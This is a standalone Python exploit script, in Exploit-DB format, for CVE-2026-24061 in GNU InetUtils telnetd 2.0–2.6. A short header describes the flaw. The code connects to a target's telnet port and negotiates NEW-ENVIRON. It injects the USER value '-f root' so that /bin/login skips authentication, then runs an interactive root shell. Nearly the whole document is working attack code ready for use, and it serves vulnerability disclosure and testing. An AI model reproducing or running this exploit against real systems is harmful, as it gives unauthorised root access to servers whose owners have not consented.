# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation # Date: 2026-01-24 # Exploit Author: Ali Guliyev (infat0x) # Author GitHub: https://github.com/infat0x # Vendor Homepage: https://www.gnu.org/software/inetutils/ # Software Link: https://ftp.gnu.org/gnu/inetutils/ # Version: GNU InetUtils 2.0 through 2.6 # Tested on: Linux (various distributions using vulnerable inetutils-telnetd) # CVE : CVE-2026-24061 import socket import sys import threading import argparse import re """ Description: The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to authentication bypass via environment variable injection. By passing a crafted USER environment variable (e.g., "-f root") during the Telnet NEW-ENVIRON subnegotiation, an attacker can force the login process to grant a root shell without requiring a password. Technical Analysis: The vulnerability exists because telnetd fails to sanitize the USER variable before passing it as an argument to /bin/login. By prepending the -f flag, the login utility skips the authentication phase. """ # Telnet Protocol Constants (RFC 854) IAC = 255 # Interpret As Command DONT = 254 DO = 253 WONT = 252 WILL = 251 SB = 250 # Subnegotiation Begin SE = 240 # Subnegotiation End # Telnet Option Codes (RFC 1572) NEW_ENVIRON = 39 IS = 0 VAR = 0 VALUE = 1 def handle_negotiation(sock, cmd, opt): """Responds to standard Telnet negotiation sequences.""" if cmd == DO and opt == NEW_ENVIRON: # Agreement to use the environment variable passing option sock.sendall(bytes([IAC, WILL, NEW_ENVIRON])) elif cmd == DO: # Refuse other options for simplicity sock.sendall(bytes([IAC, WONT, opt])) elif cmd == WILL: # Acknowledge the server's willingness sock.sendall(bytes([IAC, DO, opt])) def handle_subnegotiation(sock, sb_data, user_payload): """Executes the core exploit by injecting the malformed USER variable.""" if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON: # Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE env_msg = ( bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + b'USER' + bytes([VALUE]) + user_payload.encode('ascii') + bytes([IAC, SE]) ) sock.sendall(env_msg) def process_telnet_stream(data, sock, user_payload): """Parses incoming data to separate control signals from actual text.""" clean_output = b'' i = 0 while i < len(data): if data[i] == IAC and i + 1 < len(data): cmd = data[i + 1] if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data): handle_negotiation(sock, cmd, data[i + 2]) i += 3 elif cmd == SB: se_idx = i + 2 while se_idx < len(data) - 1: if data[se_idx] == IAC and data[se_idx + 1] == SE: break se_idx += 1 if se_idx < len(data) - 1: handle_subnegotiation(sock, data[i + 2:se_idx], user_payload) i = se_idx + 2 else: i += 1 else: i += 2 else: clean_output += bytes([data[i]]) i += 1 # Filter ANSI escape sequences for a cleaner shell experience ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]') return ansi_escape.sub(b'', clean_output) def socket_reader_thread(sock, user_payload): """Background thread to handle server output.""" try: while True: raw_data = sock.recv(4096) if not raw_data: break display_data = process_telnet_stream(raw_data, sock, user_payload) if display_data: sys.stdout.buffer.write(display_data) sys.stdout.buffer.flush() except (ConnectionResetError, BrokenPipeError): pass finally: print("\n[*] Connection closed.") def main(): parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool") parser.add_argument('host', help="Target IP address") parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)") args = parser.parse_args() # The exploit payload to bypass login user_payload = "-f root" try: client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_sock.settimeout(5) client_sock.connect((args.host, args.port)) client_sock.settimeout(None) print(f"[*] Connected to {args.host}:{args.port}") print(f"[*] Sending payload: {user_payload}") except Exception as e: print(f"[!] Connection failed: {e}") sys.exit(1) # Launch output listener threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start() print("[*] Interactive session started. Type commands below.\n") try: while True: # Simple interactive shell loop char = sys.stdin.read(1) if not char: break client_sock.sendall(char.encode()) except KeyboardInterrupt: print("\n[*] Exploit session terminated by user.") finally: client_sock.close() if __name__ == "__main__": main()